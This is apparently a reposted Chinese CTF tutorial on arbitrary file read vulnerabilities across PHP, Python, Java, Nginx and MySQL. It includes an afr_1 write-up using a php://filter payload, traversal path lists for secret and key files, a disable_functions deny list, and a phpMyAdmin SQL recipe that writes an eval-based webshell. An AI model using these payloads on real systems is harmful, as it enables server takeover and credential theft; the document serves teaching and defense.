暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Web入门 - 任意文件读取漏洞(附解题WP)

在下小黄 2021-08-26
4182
  • 文件读取漏洞,就是攻击者通过一些手段可以读取服务器上开发者不允许读到的文件。
  • 文件读取漏洞:作为资产信息搜集的一种强力的补充手段,服务器的各种配置文件、文件形式存储的密钥、服务器信息(包括正在执行的进程信息)、历史命令、网络信息、应用源码及二进制程序都在这个漏洞触发点被攻击者窥探。
  • 文件读取漏洞常常意味着被攻击者的服务器即将被攻击者彻底控制。
  • 文件读取漏洞在每种可部署Web应用的程序语言中几乎都存在。
  • 有一种任意文件读取漏洞是开发者通过代码无法控制的,这种情况的漏洞常常由Web Server自身的问题或不安全的服务器配置导致。Web Server运行的基本机制是从服务器中读取代码或资源文件,再把代码类文件传送给解释器或CGI程序执行,然后将执行的结果和资源文件反馈给客户端用户,而存在于其中的众多文件操作很可能被攻击者干预,进而造成诸如非预期读取文件、错误地把代码类文件当作资源文件等情况的发生。
# PHP文件包含的遇到的实际问题:
1. 文件路径前面可控,后面不可控。
 适用于较低的PHP版本及容器版本中可以使用“\x00”截断,对应的URL编码是“%00”。当服务端存在文件上传功能时,也可以尝试利用zip或phar协议直接进行文件包含进而执行PHP代码。
2. 文件路径后面可控,前面不可控。
 我们可以通过符号“../”进行目录穿越来直接读取文件,但这种情况下无法使用Wrapper。
 如果服务端是利用include等文件包含类的函数,我们将无法读取PHP文件中的PHP代码。
3. 文件路径中间可控。
 与第一种情况类似,但是无法利用Wrapper进行文件包含。

复制

一、文件读取漏洞常见触发点:

Web 语言

PHP

# file_get_contents()、file()、fopen()函数(及其文件指针操作函数fread()、fgets()等)

# 文件包含相关的函数
include()、require()、include_once()、require_once()等)

# PHP读文件的执行系统命令
(system()、exec()等)。

# PHP扩展也可以读取文件的函数:
php-curl扩展(文件内容作为HTTP body)涉及文件存取的库(如数据库相关扩展、图片相关扩展)、XML模块造成的XXE等。

# 为什么PHP还要还要用这些函数呢?
现在PHP开发技术越来越倾向于单入口、多层级、多通道的模式,其中涉及PHP文件之间的调用密集且频繁。
开发者为了写出一个高复用性的文件调用函数,就需要将一些动态的信息传入(如可变的部分文件名)那些函数,如果在程序入口处没有利用switch等分支语句对这些动态输入的数据加以控制,攻击者就很容易注入恶意的路径,从而实现任意文件读取甚至任意文件包含。

PHP向用户提供的指定待打开文件的方式不是简简单单的一个路径,而是一个文件流。我们可以将其简单理解成PHP提供的一套协议。例如,在浏览器中输入http://host:port/xxx后,就能通过HTTP请求到远程服务器上对应的文件,而在PHP中有很多功能不同但形式相似的协议,统称为Wrapper,其中最具特色的协议便是php://协议,更有趣的是,PHP提供了接口供开发者编写自定义的wrapper(stream_wrapper_register)。

复制
image.png
phpinfo()
功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。
危险等级:中

passthru()
功能描述:允许执行一个外部程序并回显输出,类似于 exec()。
危险等级:高

exec()
功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。
危险等级:高

system()
功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。
危险等级:高

chroot()
功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式
PHP 时才能工作,且该函数不适用于 Windows 系统。
危险等级:高

scandir()
功能描述:列出指定路径中的文件和目录。
危险等级:中

chgrp()
功能描述:改变文件或目录所属的用户组。
危险等级:高

chown()
功能描述:改变文件或目录的所有者。
危险等级:高

shell_exec()
功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。
危险等级:高

proc_open()
功能描述:执行一个命令并打开文件指针用于读取以及写入。
危险等级:高

proc_get_status()
功能描述:获取使用 proc_open() 所打开进程的信息。
危险等级:高

error_log()
功能描述:将错误信息发送到指定位置(文件)。
安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,
执行任意命令。
危险等级:低

ini_alter()
功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。
具体参见 ini_set()。
危险等级:高

ini_set()
功能描述:可用于修改、设置 PHP 环境配置参数。
危险等级:高

ini_restore()
功能描述:可用于恢复 PHP 环境配置参数到其初始值。
危险等级:高

dl()
功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。
危险等级:高

pfsockopen()
功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。
危险等级:高

syslog()
功能描述:可调用 UNIX 系统的系统层 syslog() 函数。
危险等级:中

readlink()
功能描述:返回符号连接指向的目标文件内容。
危险等级:中

symlink()
功能描述:在 UNIX 系统中建立一个符号链接。
危险等级:高

popen()
功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。
危险等级:高

stream_socket_server()
功能描述:建立一个 Internet 或 UNIX 服务器连接。
危险等级:中

putenv()
功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数
修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。
危险等级:高

禁用方法如下:
打开/etc/php.ini文件,
查找到 disable_functions ,添加需禁用的函数名,如下:
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen 

复制

Wrapper 机制:

  • PHP向用户提供的指定待打开文件的方式不是简简单单的一个路径,而是一个文件流。我们可以将其简单理解成PHP提供的一套协议。例如,在浏览器中输入http://host:port/xxx后,就能通过HTTP请求到远程服务器上对应的文件,而在PHP中有很多功能不同但形式相似的协议,统称为Wrapper,其中最具特色的协议便是php://协议,更有趣的是,PHP提供了接口供开发者编写自定义的wrapper(stream_wrapper_register)。

Filter 机制:

  • PHP中另一个具有特色的机制是Filter,其作用是对目前的Wrapper进行一定的处理(如把当前文件流的内容全部变为大写)。
  • 对于自定义的Wrapper而言,Filter需要开发者通过stream_filter_register进行注册。
  • 而PHP内置的一些Wrapper会自带一些Filter,如php://协议存在,所示类型的Filter。
  • PHP的Filter特性给我们进行任意文件读取提供了很多便利。
  • 假设服务端include函数的路径参数可控,正常情况下它会将目标文件当作PHP文件去解析,如果解析的文件中存在“<?php”等PHP的相关标签,那么标签中的内容会被作为PHP代码执行。
  • 比较常见的Base64相关的Filter可将文件流编码成Base64的形式,这样读取的文件内容中就不会存在PHP标签。
  • 而更严重的是,如果服务端开启了远程文件包含选项allow_url_include,我们就可以直接执行远程PHP代码。
# Wrapper 机制与 Filter 机制补充:
PHP默认携带的Wrapper和Filter都可以通过php.ini禁用,读者在实际遇到时要具体分析,建议阅读PHP有关Wrapper和Filter的源代码,会更加深入理解相关内容。

复制

配套题目解析WP - afr_1

  • 《从0到1:CTFer成长之路》书籍配套题目,点击即可打开 - 实验环境(i 春秋 需要登录)
  • 可以参考第一道例题!!!!(兵者多诡(HCTF 2016))
  • 我们打开分配的环境之后,出现了一个这么个界面。
image.png
  • 遇事不决,探测一下目录,也没有发现什么东西(只有一个PHP),有点儿迷惑。
image.png
Filter的利用,如php://filter/convert.Base64-encode(将文件流通过Base64进行编码)。
利用Filter机制,构造形如“php://filter/convert.base64-encode/resource=xxx”的攻击数据读取文件,拿到各种文件的源码

http://eci-2ze7cuv076c5rj3qrs13.cloudeci1.ichunqiu.com/?p=php://filter/convert.base64-encode/resource=flag

复制

http://eci-2ze7cuv076c5rj3qrs13.cloudeci1.ichunqiu.com/?p=php://filter/convert.base64-encode/resource=flag

PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9

<?php
die('no no no');
//n1book{afr_1_solved}

复制
image.png

Python

  • Python的Web应用更多地倾向于通过其自身的模块启动服务,同时搭配中间件、代理服务将整个Web应用呈现给用户。
  • 用户和Web应用交互的过程本身就包含对服务器资源文件的请求,所以容易出现非预期读取文件的情况。
  • 因此,我们看到的层出不穷的Python某框架任意文件读取漏洞也是因为缺乏统一的资源文件交互的标准。
# 漏洞经常出现在框架请求静态资源文件部分,也就是最后读取文件内容的open函数,但直接导致漏洞的成因往往是框架开发者忽略了Python函数的feature,如os.path.join()函数:

# 很多开发者通过判断用户传入的路径不包含“.”来保证用户在读取资源时不会发生目录穿越,随后将用户的输入代入os.path.join的第二个参数,但是如果用户传入“/”,则依然可以穿越到根目录,进而导致任意文件读取。

# python框架容易出这种问题,很多涉及文件操作的应用也很有可能因为滥用open函数、模板的不当渲染导致任意文件读取。

# 攻击途径:
将用户输入的某些数据作为文件名的一部分(常见于认证服务或者日志服务)存储在服务器中,在取文件内容的部分也通过将经过处理的用户输入数据作为索引去查找相关文件,这就给了攻击者一个进行目录穿越的途径。

另一种情况是攻击者构造软链接放入压缩包,解压后的内容会直接指向服务器相应文件,攻击者访问解压后的链接文件会返回链接指向文件的相应内容。

Python的一些模块可能存在XXE读文件的情况。

Python的模板注入、反序列化等漏洞都可造成一定程度的任意文件读取,当然,其最大危害仍然是导致任意命令执行。

复制

Java

  • Java本身的文件读取函数FileInputStream、XXE导致的文件读取,
  • Java的一些模块也支持“file://”协议,这是Java应用中出现任意文件读取最多的地方,如Spring Cloud Config Server路径穿越与任意文件读取漏洞(CVE-2019-3799)、Jenkins任意文件读取漏洞(CVE-2018-1999002)等。
  • CVE-2019-3799spring-cloud-config 目录穿越漏洞复现
  • CVE-2018-1999002:Jenkins任意文件读取漏洞分析

Ruby

  • Ruby的任意文件读取漏洞通常与Rails框架相关。
  • Ruby On Ralis远程代码执行研究(CVE-2016-0752)
  • Ruby On Rails路径穿越与任意文件读取漏洞(CVE-2018-3760)
  • Ruby On Rails路径穿越与任意文件读取漏洞(CVE-2019-5418)

Node

  • Node.js的express模块曾存在任意文件读取漏洞(CVE-2017-14849)

二、中间件/服务器相关:

  • 不同的中间件/服务器同样可能存在文件读取漏洞,本节以曾经出现的不同中间件/服务器上的文件读取漏洞为例来介绍。具体的漏洞场景请读者自行查阅,在此不再赘述。

Nginx 错误配置:

  • Nginx错误配置导致的文件读取漏洞在CTF线上比赛中经常出现,尤其是经常搭配Python-Web应用一起出现。
  • 这是因为Nginx一般被视为Python-Web反向代理的最佳实现。然而它的配置文件如果配置错误,就容易造成严重问题。
# 配置文件:
localtion /static{
 alias /home/myapp/static/;
}

如果配置文件中包含上面这段内容,很可能是运维或者开发人员想让用户可以访问static目录(一般是静态资源目录)。
但是,如果用户请求的Web路径是/static../,拼接到alias上就变成了/home/myapp/static/../,此时便会产生目录穿越漏洞,并且穿越到了myapp目录。
这时,攻击者可以任意下载Python源代码和字节码文件。

# 形成原因:
location最后没有加“/”限制,Nginx匹配到路径static后,把其后面的内容拼接到alias,如果传入的是/static../,Nginx并不认为这是跨目录,而是把它当作整个目录名,所以不会对它进行跨目录相关处理。

复制

配套题目解析WP - afr_2

  • 《从0到1:CTFer成长之路》书籍配套题目,点击即可打开 - 实验环境(i 春秋 需要登录)

  • 探测到只有一个 img 目录,访问一下
  • 尝试一下看看有没有目录穿越:

数据库:(以MySQL数据库为例)

  • MySQL的load_file()函数可以进行文件读取,但是load_file()函数读取文件首先需要数据库配置FILE权限(数据库root用户一般都有),其次需要执行load_file()函数的MySQL用户/用户组对于目标文件具有可读权限(很多配置文件都是所有组/用户可读),主流Linux系统还需要Apparmor配置目录白名单(默认白名单限制在MySQL相关的目录下),可谓“一波三折”。
  • 还有一种方式读取文件,但是与load_file()文件读取函数不同,这种方式需要执行完整的SQL语句,即load data infile。同样,这种方式需要FILE权限,不过比较少见,因为除了SSRF攻击MySQL这种特殊情形,很少有可以直接执行整条非基本SQL语句(除了SELECT/UPDATE/INSERT)的机会。
# 针对MYSQL数据注入时用到的 load_file()函数对其文件查看的相关路径:

1、replace(load_file(0x2F6574632F706173737764),0x3c,0x20)
2replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 < 替换成空格 返回的是网页.而无法查看到代码.
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
5、c:Program FilesApache GroupApacheconf httpd.conf 或C:apacheconf httpd.conf 查看WINDOWS系统apache文件
6、c:/Resin-3.0.14/conf/resin.conf   查看jsp开发的网站 resin文件配置信息.
7、c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8、d:APACHEApache2confhttpd.conf
9、C:Program Filesmysqlmy.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、 c:windowssystem32inetsrvMetaBase.xml 查看IIS的虚拟主机配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
15、 /etc/sysconfig/iptables 本看防火墙策略
16 、 usr/local/app/php5/lib/php.ini PHP 的相当设置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release   红帽子的系统版本
19 、C:mysqldatamysqluser.MYD 存在MYSQL系统中的用户密码
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5/lib/php.ini //PHP相关设置
22、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
23、c:Program FilesRhinoSoft.comServ-UServUDaemon.ini
24、c:windowsmy.ini

---------------------------------------------------------------------------------------------------------------------------------

1.如何拿到登陆密码. 自己想办法 
2.访问 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径.
3.选择一个Database.运行以下语句.
----start code---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[cmd]);?>');
select cmd from a into outfile 'x:/phpMyAdmin/libraries/d.php';
Drop TABLE IF EXISTS a;
----end code---
4.如果没什么意外.对应网站得到webshell
思路与mssql一样,都是建个表,然后在表中插一句话木马,在导出到web目录!
补充:还可以直接用dumpfile来得到shell
select 0x3c3f706870206576616c28245f504f53545b636d645d293f3e into DUMPFILE 'C:/XXX/php.php';
加密部分为 lanker 一句话 密码为 cmd

--------------------------------------------------------------------------------------------------------

phpmyadmin的libraries目录多个文件存在绝对路径泄露漏洞- -                                       
        http://target/phpmyadmin/libraries/string.lib.php
        http://target/phpmyadmin/libraries/string.lib.php
        http://target/phpmyadmin/libraries/database_interface.lib.php
        http://target/phpmyadmin/libraries/db_table_exists.lib.php
        http://target/phpmyadmin/libraries/display_export.lib.php
        http://target/phpmyadmin/libraries/header_meta_style.inc.php
        http://target/phpmyadmin/libraries/mcrypt.lib.php

复制

软链接:

  • bash命令ln-s可以创建一个指向指定文件的软链接文件,然后将这个软链接文件上传至服务器,当我们再次请求访问这个链接文件时,实际上是请求在服务端它指向的文件。

Docker-API:

  • Docker-API可以控制Docker的行为,一般来说,Docker-API通过UNIX Socket通信,也可以通过HTTP直接通信。
  • 当我们遇见SSRF漏洞时,尤其是可以通过SSRF漏洞进行UNIX Socket通信的时候,就可以通过操纵Docker-API把本地文件载入Docker新容器进行读取(利用Docker的ADD、COPY操作),从而形成一种另类的任意文件读取。

三、客户端相关:

  • 客户端也存在文件读取漏洞,大多是基于XSS漏洞读取本地文件。

浏览器/Flash XSS:

  • 一般来说,很多浏览器会禁止JavaScript代码读取本地文件的相关操作,如请求一个远程网站,如果它的JavaScript代码中使用了File协议读取客户的本地文件,那么此时会由于同源策略导致读取失败。但在浏览器的发展过程中存在着一些操作可以绕过这些措施,如Safari浏览器在2017年8月被爆出存在一个客户端的本地文件读取漏洞。

MarkDown语法解析器XSS

  • 与XSS相似,Markdown解析器也具有一定的解析JavaScript的能力。但是这些解析器大多没有像浏览器一样对本地文件读取的操作进行限制,很少有与同源策略类似的防护措施。

四、文件读取漏洞常见读取路径:

Linux

###### flag 名称(相对路径):比赛过程中,有时fuzz一下flag名称便可以得到答案,注意以下文件名和后缀名,请读者根据题目及环境自行发挥。

../.../../../../../../flag(.txt|.php|.pyc|.py ...)
flag(.txt|.php|.pyc|.py ...)
[dir_ you_ know]/flag(.txt|.php|.pyc|.py ...)
../../../../../../../../../etc/flag(.txt|.php|.pyc|.py ...)
../../../../../../../../../tmp/flag(.txt|.php|.pyc|.py ...)
../flag(.txt|.php|.pyc|.py ...)
. ../../../../../../../../root/flag(.txt|.php|.pyc|.py ...)
../../../../../../../../home/flag(.txt|.php|.pyc|.py ...)
. ../../../../../../../../home/[user. _you know]/flag(.txt|.php|.pyc|.py ...)

###### 服务器信息(绝对路径)

# /etc目录
 /etc目录下多是各种应用或系统配置文件,所以其下的文件是进行文件读取的首要目标。
  
# /etc/passwd
 /etc/passwd文件是Linux系统保存用户信息及其工作目录的文件,权限是所有用户/组可读,一般被用作Linux系统下文件读取漏洞存在性判断的基准。读到这个文件我们就可以知道系统存在哪些用户、他们所属的组是什么、工作目录是什么。
  
# /etc/shadow
 /etc/shadow 是Linux系统保存用户信息及(可能存在)密码(hash)的文件,权限是root用户可读写、shadow组可读。所以一般情况下,这个文件是不可读的。
  
# /etc/apache2/*
 /etc/apache2/* 是Apache配置文件,可以获知Web目录、服务端口等信息。CTF有些题目需要参赛者确认Web路径。
  
# /etc/nginx/*
 /etc/nginx/* 是Nginx配置文件(Ubuntu等系统),可以获知Web目录、服务端口等信息。

# /etc/apparmor(.d)/*
 /etc/apparmor(.d)/*是Apparmor配置文件,可以获知各应用系统调用的白名单、黑名单。例如,通过读配置文件查看MySQL是否禁止了系统调用,从而确定是否可以使用UDF(User Defined Functions)执行系统命令。
  
# /etc/(cron.d/*|crontab)
 /etc/(cron.d/*|crontab)是定时任务文件。有些CTF题目会设置一些定时任务,读取这些配置文件就可以发现隐藏的目录或其他文件。
  
# /etc/environment
 /etc/environment是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。
  
# /etc/hostname
 /etc/hostname表示主机名。
  
# /etc/hosts
 /etc/hosts是主机名查询静态表,包含指定域名解析IP的成对信息。通过这个文件,参赛者可以探测网卡信息和内网IP/域名。
  
# /etc/issue
 /etc/issue指明系统版本。
  
# /etc/mysql/*
 /etc/mysql/*是MySQL配置文件。
  
#  /etc/php/*
  /etc/php/*是PHP配置文件。
  
# /proc目录
 /proc目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录。注意:如果查看非当前进程的信息,pid是可以进行暴力破解的,如果要查看当前进程,只需/proc/self/代替/proc/[pid]/即可。对应目录下的cmdline可读出比较敏感的信息,
  如使用mysql-uxxx-pxxxx登录MySQL,会在cmdline中显示明文密码:/proc/[pid]/cmdline   pid :指向进程所对应的终端命令
  有时我们无法获取当前应用所在的目录,通过cwd命令可以直接跳转到当前目录:/proc/[pid]/cmw/   pid :指向进程运行时的目录
  环境变量中可能存在secret_key,这时也可以通过environ进行读取:/proc/[pid]/environ   pid :指向进程运行时的环境变量
  
###### 其他目录

# Nginx 配置文件可能存在其他路径:
 /usr/local/nginx/conf/*           源代码安全或其他一些系统
  
# 日志文件:
 /var/log/*                 (经常出现 Apache2的web应用可读/var/Log/ apache2/ access.Log从而分析日志,盗取其他选手的解题步骤)

# Apache默认Web根目录:
 /var/www/html/
  
# PHP session目录:
 /var/lib/php(5)/session/           泄露用户session
  
# 用户目录:
[user_dir_you_know]/.bash_history(泄露历史执行命令)
[user_dir_you_know]/.bashrc(部分环境变量)
[user_dir_you_know]/.ssh/id_rsa(.pub)(ssh登录私钥/公钥)
[user_dir_you_know]/.viminfo(vim使用记录)

复制
  • [pid]指向进程所对应的可执行文件。有时我们想读取当前应用的可执行文件再进行分析,但在实际利用时可能存在一些安全措施阻止我们去读可执行文件,这时可以尝试读取/proc/self/exe。
/proc/[pid]/fd/(1|2...)        (读取[pid]指向进程的 stdout或 terror或其他)
/proc/[pid]/maps            ([pid]指向进程的内存映射)
/proc/[pid]/(mounts| mountinfo)    ([pid]指向进程所在的文件系统挂载情况。CTF常见的是 Docker环境这时 mounts会泄露一些敏感路径)
/proc/[pid]/net/            ([pid]指向进程的网络信息,如读取TCP将获取进程所绑定的TCP端口ARP将泄露同网段内网IP信息)

复制

配套题目解析WP - afr_3

  • 《从0到1:CTFer成长之路》书籍配套题目,点击即可打开 - 实验环境(i 春秋 需要登录)

  • 这里我还有没有想明白 !!!!

扩展补充:

  • PHP中读取文件内容的几种方法

  • PHP文件包含

  • PHP文件包含漏洞利用思路与Bypass总结手册(完结)

  • PHP文件包含漏洞的形式总结

  • PHP通过bypass disable functions执行系统命令的方法汇总

  • 深入解读Python解析XML的几种方式

  • CTF XXE

  • JAVA文件的两种读取方法和三种写入方法

  • java FileInputStream 三种read()函数

  • JAVA-FileInputStream之read方法

  • 谈一谈php://filter的妙用

  • N1BOOK第四关摸鱼:[第一章 web入门]afr_1


文章转载自在下小黄,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论